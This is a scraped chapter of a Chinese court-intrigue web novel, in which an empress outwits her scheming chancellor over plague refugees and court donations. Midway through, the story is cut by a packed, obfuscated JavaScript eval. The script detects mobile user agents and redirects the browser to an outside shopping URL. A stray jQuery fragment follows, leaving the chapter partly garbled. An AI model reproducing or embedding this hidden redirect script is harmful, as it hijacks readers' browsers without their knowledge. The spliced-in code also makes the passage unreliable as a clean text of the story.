默认冷灰
24号文字
方正启体

9. 变故

作者:耳鱼川本书字数:K更新时间:
    宣武殿内,祁宁安面色平静地坐在龙椅上,听着各部汇报工作。


    沈渊见她如此模样,压下心里那抹隐秘的愉悦。就快了,算算时间马上也该到了。等灾民闹到京城门口的时候,陛下还能这么平静吗?


    祁宁安的视线淡淡扫过沈渊。


    “爱卿,铜瓦厢瘟疫处理的如何了?”


    沈渊有模有样地行礼,“陛下,工部礼部均已传信,隔离区已建成,目前已经正常投入使用。周边的医官和郎中已经在就诊,情况一切安好。”


    祁宁安露出一点笑意,晦暗不明地看着沈渊,“一切安好吗,那爱卿觉得这瘟疫何时能解呢?”


    “陛下吉人自有天相,自会护着祁国百姓度过此次难关。”


    沈渊滴水不漏地回答。


    旁边的大臣们听到也是觉得沈渊真是睁眼说瞎话。皇城里谣言满天飞,他还能面不改色地对着陛下说吉人自有天相,怪不得沈相这么受陛下喜爱。


    祁宁安听到他的话轻笑一声,眼里不带一丝笑意。


    “爱卿所言极是。”


    转头看向大殿末尾的一个小官,两年前科举的榜眼,王征。写得一手好字,为人刚正不阿,不懂得阿谀奉承,古板又不知变通。在官场四处碰壁,颇有当年袁太傅的风范,现任礼部司务。


    “王征,事情可办妥当了?”


    沈渊手顿了一瞬,王征…祁宁安想做什么?


    大殿内百官面面相觑,谁是王征?礼部官员脸色有些不好看,他们当然知道谁是王征。一个愣头青,不知变通得很,一个小小的九品官怎么上朝了?莫不是他在陛下面前胡说了什么?


    只见一身着浅青色官服的中年男人出列,规规矩矩行礼。


    “陛下,微臣已经按照陛下吩咐,安置好城外的灾民了。”


    此话一出,满朝喧闹。灾民来京城了?!陛下这是要做什么!


    沈渊狠掐了一把手心,控制住情绪。灾民居然被拦着了,祈宁安你究竟有什么手段,能一而再再而三的躲过去。抬眼一看,祁宁安此刻正撑着下巴似笑非笑地看着自己。


    “此事做的不错,等瘟疫过去后,朕必定重赏你。”,话是对着王征说的,看的却是沈渊。


    王征面不改色地继续说着,“谢陛下,微臣还有还有一事需要禀告。在城外安置的灾民不算少,物资还需要多备一些,望陛下能多批一些资金。”


    祈宁安勾了勾嘴角,随意理了理袖子。


    “资金...水灾后,国库紧张。不过此等大事,铜瓦厢的百姓跋山涉水的赶到京城郊外,自当是好好安顿的。王爱卿可有解决方法?”


    王征很上道地顺着祈宁安说。“此等危急关头,自当体现出我朝之团结,为官之雅量。微臣虽俸禄不多,但愿意捐出一百两给受灾的百姓们。”


    祁宁安一拍扶手,大笑着起身。“王爱卿说的好!朕为天子,亦当以身作责,朕拿出一万两黄金作为铜瓦厢的重建费用。诸位爱卿们呢,就各自按照自己的情况捐吧。沈爱卿以为呢?”


    说是按照自己的情况捐赠。王征一个九品官都捐了一百两,其他人怎么可能比他还低。祈宁安更多,居然是一万两黄金,这是要让品阶高的官员大出血,牙咬碎了往肚子里咽还得笑脸迎人。


    沈渊垂眸掩盖眼里的阴鸷,“陛下所言极是,臣自当效仿。臣捐出五千两黄金。”


    捐钱对沈渊来说不算什么难事,只是他现在心里极其不平衡。又被祈宁安摆了一道,还让她趁机坑了一把钱。


    众朝臣面色都不好看,但是表面都要装大度的附和着捐钱,一个品阶的官员有一个品阶官员的捐款额度。就这样,早朝成了捐款大会。


    五千两黄金一出,三千两,一千两,五百两等等都有。大到黄金小到银子,就这么一会儿国库里就能充盈十分之一。祈宁安心满意足看着面色不好看的大臣们,还专门口头给各朝臣贴好人牌。


    “诸位爱卿善举,定会流芳百世,让后代子孙们看到你们的德行良善。马公公,去众爱卿家里取银票吧,取完后按照城外百姓的需求进行安排。”


    马公公心知肚明祈宁安是要把多余的款收到国库,这么重要的事情交给他,看来陛下对自己还是信任的。笑眯眯地应承下,“陛下请放心,刚刚奴才已经挨个记下诸位大人们要捐款的数字了,保证不多收大人们的一分钱。”


    各朝臣心里怒骂马公公是狗奴才,这就是故意的,就怕他们少捐一分还差不多。可是没办法,今日这钱捐也不是,不捐也不是。只能自己把牙咬碎往肚子里咽,喇嗓子还不能说。


    退朝后,沈渊冷着脸回到丞相府。凡尘着急的守在书房门口,一见到沈渊立刻开口。


    “主上,情况有变...”


    沈渊恼怒地将书房里的花瓶摔碎,“废物!居然又被她躲过去了!”


    沈渊生气又栽在她手里,越是这样越能想起那日下棋,祁宁安说他浮躁,一想到就更气了!


    凡尘叹口气,这女帝真真是不好对付。每次以为她着了道,她都能找到另一条路走,困难总会被她解决掉,好像她总能看穿下一步路。


    “主上,昨夜那群灾民确实是从官道一路北上来的京城,但没想到竟有人先一步在京城郊外提前拦截。那人拿着女帝的圣旨,带着禁卫军将那群灾民围了起来。但并未杀了那群难民,反而是将那群难民安置到一间空客栈里,派人守着客栈不让任何人靠近。”


    沈渊越听脸色越差,冷声开口。“另一拨人呢?查出来了吗?”


    凡尘硬着头皮继续答着,“和以往我们遇到的那些人一样,查不到来历。不过经过这次事,十有八九那些神秘人是那位女帝的人。我们的人...基本上都交代在那里了。”


    此时沈渊已经冷静了下来,不能一直被她牵着鼻子走,也不能一直被牵着情绪走。


    “无妨,此次瘟疫还未解除,她总会有疏漏的地方。这两天先观察着,等待时机。”


    “是。”,凡尘退下。


    沈渊踱步到密室,看着面前祈宁安的画像出神。


    “若你不是祈家的人,或许,我真的会从心底里认可你这位女陛下...”


    无论是从手段还是心计,沈渊不得不承认,祈宁安真的很厉害。他从未见过如此模样的女子,狠辣果断,灵敏机智,仿佛所有事都尽在她的掌握中。沈渊生气,又夹杂着一丝不易察觉的欣赏。


    可是,她是祈家的人,她姓祈……


    打开密室后面的一间房,里面摆着香案和三个牌位,墙上则挂着新的画像。画像上的男女般配又恩爱,怀里抱着一个粉嫩雕琢的小娃娃,沈渊的眉眼像极了画中的美妇人。


    马公公此时还在宫外收款,祈宁安回到紫宸殿处理政务。指尖轻敲桌面,暗处的暗卫闪身跪在祈宁安面前。


    “要你查的事查的如何了?”


    这是情报处的暗卫,每日都要替祈宁安探查消息。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376751|200105||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “回主人,还未查到有用的消息,目前能查到的是他自小被一沈氏女养大,随母姓。其母在他八岁时过世,之后流浪了很久,后被寺庙收养。”,暗卫回复着。


    “寺庙?”,祈宁安手顿了一瞬。


    “是,就是黔州的灵山寺。”,暗卫低着头,没能看到祈宁安眼里的复杂。


    “下去吧,继续查他的身世。”


    “是。”暗卫闪身离开。


    祈宁安有些失神的望着手中的奏折,灵山寺吗...


    此时王征归来复命。


    “陛下,微臣王征前来复命。”


    “进。”,只一瞬,祈宁安收起所有情绪,又恢复成那副淡漠的模样。


    王征进入殿内行跪拜礼,“微臣王征,叩见陛下,陛下万岁万岁万万岁。”


    祈宁安摆了摆手,“王卿免礼,起来吧。”


    “是。”王征理了理衣服起身。


    “王卿可怨朕,这两年并未重用你。”祁宁安审视着王征。


    王征不卑不亢的回答着,“为陛下效力,自然就是为朝廷效力,也是为百姓为国家效力。微臣不悔,若非如此,微臣怎能找到礼部这么多的漏洞。”,说着将奏折和一些证物双手奉上。


    祁宁安认真地接过,起身,“王卿辛苦了,本有大才干,却被埋没在礼部司务一职,等此次事情了结,朕定重重有赏。”


    “陛下言重了,能为朝廷效力,是微臣的职责。”


    “朕可没有夸大,昨夜若不是你,今日京城怕是要大乱了。”


    祁宁安昨夜修书一封密函正是给他的,两年前王征中了榜眼后,祁宁安观察了一段时间,最终选择让他去礼部。王征也确实没让祁宁安失望,为人太过刚正,导致被排挤在边缘,不过这反而能替她提供更多有利的消息,也能在暗中帮她做更多的事。


    “是陛下神机妙算,微臣也只是听从陛下的安排。”


    “这段时间爱卿辛苦了,等瘟疫过去,自有新的职位给你。”,祁宁安明白,此事一出,若王征还在原来的位置怕是更难了。他本也就有功,自然是要重用嘉奖的。


    “谢陛下。”,王征汇报完就离开了,他还得去替陛下安抚郊外客栈的灾民,给他们送物资和药材。听陛下的意思是必须把这群人先隔离开,避免有人已经感染了瘟疫,再去感染其他人。


    祁宁安看着王征的背影,脑海里浮现出幼时母亲的教导。冷宫里,满屋子的书和这凄凉的景象格格不入。一模样秀美的女子,冷漠的看着一旁的红着眼眶的小女孩。语气严肃,手里拿着教尺,说一句打一下,小女孩的手已经红肿了,小小的手上满是茧。


    “不许哭!今日要你背的书背下来了吗!任何时候,都必须给自己留后路!不要把脆弱的一面摊给别人看!你要把你露出来的七寸,包裹成你最严实的地方!迷惑敌人,保护自己!记住了吗!”


    母亲…你的话,宁安一直都有好好听。手不自觉的捏紧,手心的茧只多不少,多年前的痛感似乎现在还留存着。


    朝中有很多不起眼的小官,其实都是祁宁安的眼线。王征这时出来,其他人就要更藏拙了。从她登基开始,四面楚歌,人人都盯着这个位置,她一步都不能错。


    京城是最易闹事也是最容易鼓动百姓的地方,所以…京郊她一直都有人马暗守着。


    京城的潜在危机是解除了,但铜瓦乡东侧的官道营地和南侧隔离区依旧热闹得很……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)